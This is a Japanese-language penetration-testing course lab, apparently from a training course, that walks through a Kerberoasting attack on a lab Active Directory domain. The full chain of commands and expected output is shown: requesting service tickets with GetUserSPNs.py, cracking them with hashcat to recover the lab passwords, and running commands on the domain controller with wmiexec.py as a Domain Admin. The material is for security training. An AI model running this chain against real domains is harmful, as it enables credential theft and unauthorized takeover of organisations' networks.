Lab 5.1: Kerberoast
オンライン演習
接続性: この演習には、クラス内ネットワーク(560A VPN経由)に接続している必要があります
目的
- SPNを使用してサービスアカウントのRC4サービスチケット(TGS)を取得します
- hashcatを使用してRC4サービスチケットをクラックします
- 新たに特定した認証情報を使用してDC01(10.130.10.4)にピボットします
ウォークスルービデオ
ラボのセットアップ
使用するVM:
- Linux
SEC560 Linux VMから10.130.10.10にpingできることを確認してください:
コマンド
ping -c 4 10.130.10.10
想定される結果
sec560@560vm:~$ ping -c 4 10.130.10.10
PING 10.130.10.10 (10.130.10.10) 56(84) bytes of data.
64 bytes from 10.130.10.10: icmp_seq=1 ttl=63 time=67.6 ms
64 bytes from 10.130.10.10: icmp_seq=2 ttl=63 time=67.2 ms
64 bytes from 10.130.10.10: icmp_seq=3 ttl=63 time=69.1 ms
64 bytes from 10.130.10.10: icmp_seq=4 ttl=63 time=73.5 ms
--- 10.130.10.10 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3006ms
rtt min/avg/max/mdev = 67.194/69.349/73.533/2.511 ms
このラボを以前に実行したことがある場合は、少しクリーンアップを行いましょう。Hashcatのpotfile(以前にクラックされたハッシュとそれに対応するパスワードを含む)を削除しましょう。
コマンド
sudo rm /pentest/password-recovery/hashcat/hashcat.potfile
このコマンドは成功した場合、出力はありません。クリーンアップするpotfileがない場合は、エラーが表示されます。そのエラーは問題ありません。
ラボ – ステップバイステップの手順
すでに有効な(特権のない)ドメイン認証情報を取得しています。ここからの目標は、サービスアカウントを侵害することでドメイン内の権限をさらに昇格させることです。
1: チケットの列挙とリクエスト
最初のステップとして、GetUserSPNs.py Pythonスクリプトを使用します。これは以下のステップを実行します:
- サービスプリンシパル名(SPN)を持つユーザーを列挙します。念のため、サービスアカウントにはSPNが設定されています!
- これらのサービスアカウントのサービスチケットをリクエストします
この攻撃には、任意のユーザーとしてのアクセスが必要です。560.2で見つけた、パスワードPassword1
を持つhiboxy\bgreen
を使用します。
impacketのGetUserSPNs.py
を使用します。いくつかのオプションを指定する必要があります:
- credentials - ドメイン、ユーザー名、パスワードをこのように指定できます:
hiboxy/bgreen:Password1
-request
- チケットを特定した後にリクエストするようツールに指示します-dc-ip
- チケットをリクエストするDCのIPアドレスです。
コマンド
GetUserSPNs.py hiboxy.com/bgreen:Password1 -request -dc-ip 10.130.10.4 | tee /tmp/spns.output
想定される結果
sec560@560vm:~$ GetUserSPNs.py hiboxy.com/bgreen:Password1 -request -dc-ip 10.130.10.4 | tee /tmp/spns.output
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
------------------------------ --------------- ------------------------------------------ -------------------------- --------- ----------
MSSQLSvc/sql01.Hiboxy.com SVC_SQLService 2024-08-13 08:12:58.968552 <never>
MSSQLSvc/sql01.Hiboxy.com:1433 SVC_SQLService 2024-08-13 08:12:58.968552 <never>
MSSQLSvc/sql02.Hiboxy.com SVC_SQLService2 CN=Domain Admins,CN=Users,DC=hiboxy,DC=com 2024-08-13 08:12:59.125293 <never>
MSSQLSvc/sql02.Hiboxy.com:1433 SVC_SQLService2 CN=Domain Admins,CN=Users,DC=hiboxy,DC=com 2024-08-13 08:12:59.125293 <never>
[-] CCache file is not found. Skipping...
$krb5tgs$23$*SVC_SQLService$HIBOXY.COM$hiboxy.com/SVC_SQLService*$9f6b...
$krb5tgs$23$*SVC_SQLService2$HIBOXY.COM$hiboxy.com/SVC_SQLService2*$95fb...
コマンドの出力で、2つのサービスアカウントSVC_SQLService
とSVC_SQLService2
を特定できるはずです。アカウントがドメイン内で持つ権限に関する情報も表示されます。SVC_SQLService2
アカウントはDomain Admins
グループに所属しているようです、素晴らしい!
さらに、tee
コマンドは、前のコマンドからパイプラインで渡された出力を表示し、出力をファイルに保存します。
最後に、$krb5tgs$23$
で始まる長い文字列も表示されます。これはRC4を使用して暗号化されたサービスチケットです(23は暗号化タイプRC4を指します)。これをブルートフォース攻撃で解析できます!
大規模な企業環境では、数百または数千のサービスアカウントが表示される可能性があることに注意してください。このような関与では、これらのアカウントの多数に対してサービスチケットをリクエストし、少なくとも1つをクラックできることを期待します。
実際には環境内にさらに多くのサービスアカウントがありますが、このツールはユーザーアカウントに関連付けられたSPNを持つサービスのみを検索します。これはクラック可能な可能性があるためです。コンピューターアカウントのパスワードハッシュはランダムに生成され、事実上クラック不可能です。
ドメインからサービスアカウント情報を抽出する方法はいくつかあることに注意してください。ImpacketのGetUserSPN's
はその1つにすぎません。別の良い例としては、Powerview
スイートのInvoke-Kerberoast
コマンドレットがあります。これらのツールの一部には、サービスアカウントとしてkrbtgt
アカウントも含まれている場合があります。これは技術的には正しいですが、Kerberoastingに対して脆弱なアカウントではありません。krbtgt
アカウントのパスワードはシステムによって生成されます(長く非常にランダムなパスワードを使用)。これにより、ブルートフォースクラッキング攻撃に対して事実上免疫があります。
2: チケットのクラッキング
次のステップとして、取得したサービスチケットをブルートフォースして、2つのアカウントのパスワードを回復します。このためにhashcatを選択したツールとして使用します!
このコースで以前にHashcatを使用しており、以下の入力が必要であることを覚えているでしょう:
- 辞書ファイル
- クラックするハッシュ
- ハッシュタイプ(モード)
- 実行したい攻撃の種類(ブルートフォース、ワードリスト、マスク攻撃など)
ハッシュモードをすぐに認識できない場合は、
hashcat --example-hashes
を使用して、対応するモードを持つハッシュの例を確認できます。または、公式のhashcatドキュメントを参照できます: https://hashcat.net/wiki/doku.php?id=example_hashes。
上記のtee
コマンドはすべての出力を保存しましたが、クラック可能な行のみが必要です。元のファイルからそれを抽出しましょう。出力の先頭に$krb5tgs$23$
が含まれていたことを思い出してください。このテキストの一部でgrepを使用して、ハッシュをクラッキング準備ができたファイルに保存できます。
コマンド
grep krb5tgs /tmp/spns.output > /tmp/tickets
hashcatドキュメントを確認すると、以前に取得した$krb5tgs$23$
出力がhashcatではモード13100
として参照されていることがわかります。
多くのパスワードは大文字で始まる単語を含む傾向があるため、侵害された認証情報の既存のワードリスト(/usr/share/wordlists/rockyou.txt
)を取得し、sed
を使用して最初の文字を大文字にしましょう。時間を節約するために、各単語の末尾に数字も追加します。
コマンド
sed 's/.*/\u&/' /usr/share/wordlists/rockyou.txt > ~/labs/Rockyou.txt
hashcat -m 13100 -a 6 /tmp/tickets ~/labs/Rockyou.txt ?d
想定される結果
sec560@560vm:~$ hashcat -m 13100 -a 6 /tmp/tickets ~/labs/Rockyou.txt ?d
hashcat (v6.2.6) starting
...truncated for brevity...
$krb5tgs$23$*SVC_SQLService$HIBOXY.COM$hiboxy.com/SVC_SQLService*$5c88ace8e2614d9aeb272ed6a13e8317$1d8df0a3e9c5c386795a21502d91a8839883d129d410ac69bca8fea85f2798cfb1fbc82f4392218ff032dc32ccf83d3cf018dfce1e27b6aac61a4e21b2a51d31ebff144bc78bff65da15c402af0dea88ba09fa0ca557c4fb0452c5bf0c0f22dd33bbc33fede1b7c1a8ac55c921332f1c07032f8022cd26c0cdf4b3745634a3512f3d13f63ce28bc02e01bc66b2530329f4d44b1d06c1b5d56e7a82bfb338e01387dc5381a36be848efaacd77b7981a637cf7debcd2c46f621cc5c28a8765731d92bf9fd695ddadb9f69819ebffee72a884b24a11559286ad19949ee227ea542b14947840c65f9d68075eeefd750f11f09fc85d872fe9e6478a9adb7211daaa709d383895e1acee4cc29212bf1bccc843f721853eacf63eb96e7ca18a16485ab9acfd3d827137ebdde28854a9d67d5ede82d4af7e0f7367ec4c7f2e71fc907ebc14264d33f6ebea65a3e5777e79146bc74b48e6ab15e910eb84a509f38fb87f629d36cd8550e48d3a69bf73d1ac8a73f3b3ff44663e37f001b8e4c9b79a8d1c5969d8d16ea9a72bb7bdc157613c52f65cf880a9556f851fb498af4722fd18aeb81f4fb5470398d93c6e4fd9e976ac19fd8f48611eecd2528fcac2213d9fdc46c4731d36092637616563bd2d83dbc7ce1df92b705d7bdf2878d587ba3949f8e03d63fdbeb7be57ed8d1126b555c0add25dd7f3648c09e0d811cdca99c5c733a6852ccd5e37c8c77723b63563e23ab3c212d10562e55d569449cb162fc7303c60c75c36667297a0d5d4e8f31f8085d076346eaf138947ae22de43b09e3d968548e0ba188dd4b7a4a13a9884b477d8be1500ac1569784c1713a74e57bc8abaff958719f44305cb2da95484ba7e553133b087d19f949e450eb539719f78790a189a155455a4c9f50c1a5f4f7c05a8059df61e3909b80169f107e42c7fb2387a7d722093b303ae04a5e9f441baeb64d3f3b3cf4b33ebf570c5af14a6f1c0a211bf26cd51ff5304c838a85dfb4cf27422854bdd596c4e24a002f6a5c2e3d44242a91f2b79fef676d0883304dadafc3f5894ad12424a251181eee5dd6c1b464f42734e6061e0a282ec3418bf474e77d0620e06a58dd71b8262c81de99e438c3062edb0e58f7c1d1578565f5dfb80d2805013af470eceb7ca32f909b4affe6c92e83bffc132f8d2527516251f23f790a5a820635f46a2b5f1733df53001c78bd6424ef4a1376eb70368a8116817884be9a40c55217f4d9b3335e38df6e5795e50a6805dfe5aac6b64c9860c34a04899da5244a39c9c42d868ba226ee44e3843408de8d000e30bc6c8fbaf913c6478b9679ce87d8dbf0179cad13b976b196cef169334360c66603f83af1966ce249a8328053d574371e1f4ca4c0ccb20118ff84a0fdf400b0482e20e75e59b8181bbb973713cf488b0cedb94bfe850e240cf537107fb1603e8887e3205877ab1834b3203bed8a5aca9:Supercool7
...truncated for brevity...
タブ補完を忘れないでください!ファイル名(またはディレクトリ)の最初の数文字を入力してから、タブキーを押してください。
これは約1分間実行され、その後Supercool7
のパスワードが明らかになるはずです。
3: ドメイン管理者チケットのクラッキング
チケットの1つをクラックしました。2つ目をクラックしましょう。
今回は特殊文字(?s
)を先頭に追加します(-a 7
)。マスクと辞書の順序も変更する必要があります。既存の大きな辞書を大文字にしましょう。
コマンド
sed 's/.*/\u&/' /usr/share/dict/american-english-insane > /home/sec560/labs/American-English-Insane.txt
hashcat -m 13100 -a 7 /tmp/tickets ?s /home/sec560/labs/American-English-Insane.txt
想定される結果
sec560@560vm:~$ hashcat -m 13100 -a 7 /tmp/tickets ?s /home/sec560/labs/American-English-Insane.txt
hashcat (v6.2.6) starting
...trimmed for brevity...
$krb5tgs$23$*SVC_SQLService2$HIBOXY.COM$hiboxy.com/SVC_SQLService2*$f20b8
...trimmed for brevity...
782b1f5c697ea4b610b54350e12a50c4:^Cakemaker
sed
コマンドについて知りたいですか?
sed
ユーティリティは、標準入力(STDIN)またはソースファイルからテキスト変換を行います。既存のファイルに対して(-i
で)操作できますが、デフォルトでは変更されたテキストを出力します。この場合、s
コマンドを使用して、パターン.*
(任意の文字を0回以上マッチ)を\u&
に置き換えています。これにより、各行の最初の文字が大文字になります。&
はsed
の特殊文字で、マッチしたパターン全体を表します。american-english-insane
ファイルは1行に1つの単語のリストなので、そのファイル内の各単語の最初の文字を大文字にしています。
SVC_SQLService2
アカウントのパスワードが見つかりました。上記から思い出すと、これはDomain Adminsグループのメンバーです!
4: 盗んだ認証情報の使用
最後のステップとして、新たに盗んだ認証情報を使用してドメインコントローラー(DC01 - 10.130.10.4)にアクセスします。
クリーンな状態から始めるのが好きなので、hashcatターミナルプロンプトを閉じるか、clear
と入力してターミナルをクリアしてください:
コマンド
clear
新たに侵害したSVC_SQLService2
アカウントを使用して、DC01でコマンドを実行するためにwmiexec.py
を使用します。
このコマンドの構文を思い出してください:
wmiexec.py username:password@target command
- Username: ユーザー名は
domain/username
の形式です。この場合、ドメインはhiboxy.com
、ユーザー名はSVC_SQLService2
なので、完全なユーザー名はhiboxy.com/SVC_SQLService2
です。 - Password
- Target: これはターゲットシステムです。この場合はドメインコントローラーのIPアドレス
10.130.10.4
です。 - Command: 実行するコマンドです。最初に
whoami
を使用します。
whoami
コマンドでwmiexec.py
スクリプトを実行します:
コマンド
wmiexec.py hiboxy.com/SVC_SQLService2:^Cakemaker@10.130.10.4 whoami
想定される結果
sec560@560vm:~$ wmiexec.py hiboxy.com/SVC_SQLService2:^Cakemaker@10.130.10.4 whoami
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect used
hiboxy\svc_sqlservice2
次に、hostname
コマンドを使用して、svcsqlserver
アカウントとしてドメインコントローラー上にいることを確認できます。単に上矢印キーを押して、whoami
をhostname
に置き換えます。
コマンド
wmiexec.py hiboxy.com/SVC_SQLService2:^Cakemaker@10.130.10.4 hostname
想定される結果
sec560@560vm:~$ wmiexec.py hiboxy.com/SVC_SQLService2:^Cakemaker@10.130.10.4 hostname
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect used
dc01
次にnet user
コマンドを実行しましょう。前のコマンドを再入力する代わりに、上矢印キーを押して前のコマンドに移動し、バックスペース(または単語全体を削除するにはCtrl+W)を使用してhostname
を削除してからnet user
と入力します。
net user
コマンドでwmiexec.py
を実行してドメインユーザーのリストを取得します:
コマンド
wmiexec.py hiboxy.com/SVC_SQLService2:^Cakemaker@10.130.10.4 net user
想定される結果
sec560@560vm:~$ wmiexec.py hiboxy.com/SVC_SQLService2:^Cakemaker@10.130.10.4 net user
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect used
User accounts for \\
-------------------------------------------------------------------------------
$OK1000-O8RL70HT3R44 aallen aalvarado
abaird abates abecker
abrown acarter achavez
...truncated for brevity...
最後に、net user
コマンドを実行して、SVC_SQLService2
がどのグループのメンバーであるかを確認できます:
コマンド
wmiexec.py hiboxy.com/SVC_SQLService2:^Cakemaker@10.130.10.4 net user SVC_SQLService2
想定される結果
sec560@560vm:~$ wmiexec.py hiboxy.com/SVC_SQLService2:^Cakemaker@10.130.10.4 net user SVC_SQLService2
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect used
User name SVC_SQLService2
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 8/13/2024 8:12:59 AM
Password expires 9/24/2024 8:12:59 AM
Password changeable 8/14/2024 8:12:59 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships
Global Group memberships *Schema Admins *Domain Admins
*Domain Users *Enterprise Admins
The command completed successfully.
グループの1つは「Domain Admins」グループです!
おめでとうございます!ドメイン管理者権限を持つサービスアカウントのクラッキングに成功しました!
侵害されたアカウントを使用してコマンド実行を確立するために使用できる他のツールがいくつかあることに注意してください。別の有力な候補は、psexec.py(impacketスイートの一部でもあります)またはpsexec.exe(Windowsマシン上でインタラクティブなセッションを取得するために使用できるMicrosoft署名付きバイナリ)です。
まとめ
結論として、このラボでは、弱いパスワードで構成された2つのSPN対応ユーザーアカウントを特定しました。RC4で暗号化されたサービスチケットをリクエストし、hashcatを使用してブルートフォース攻撃を開始できました。最後に、侵害されたアカウントの1つを使用して、環境内でDomain Admin権限を取得しました。
Kerberoastingは、パッチの欠落や誤設定に依存しない非常に効果的な攻撃手法であり、したがって、合理的に保護された環境でも「侵入経路」を提供できます!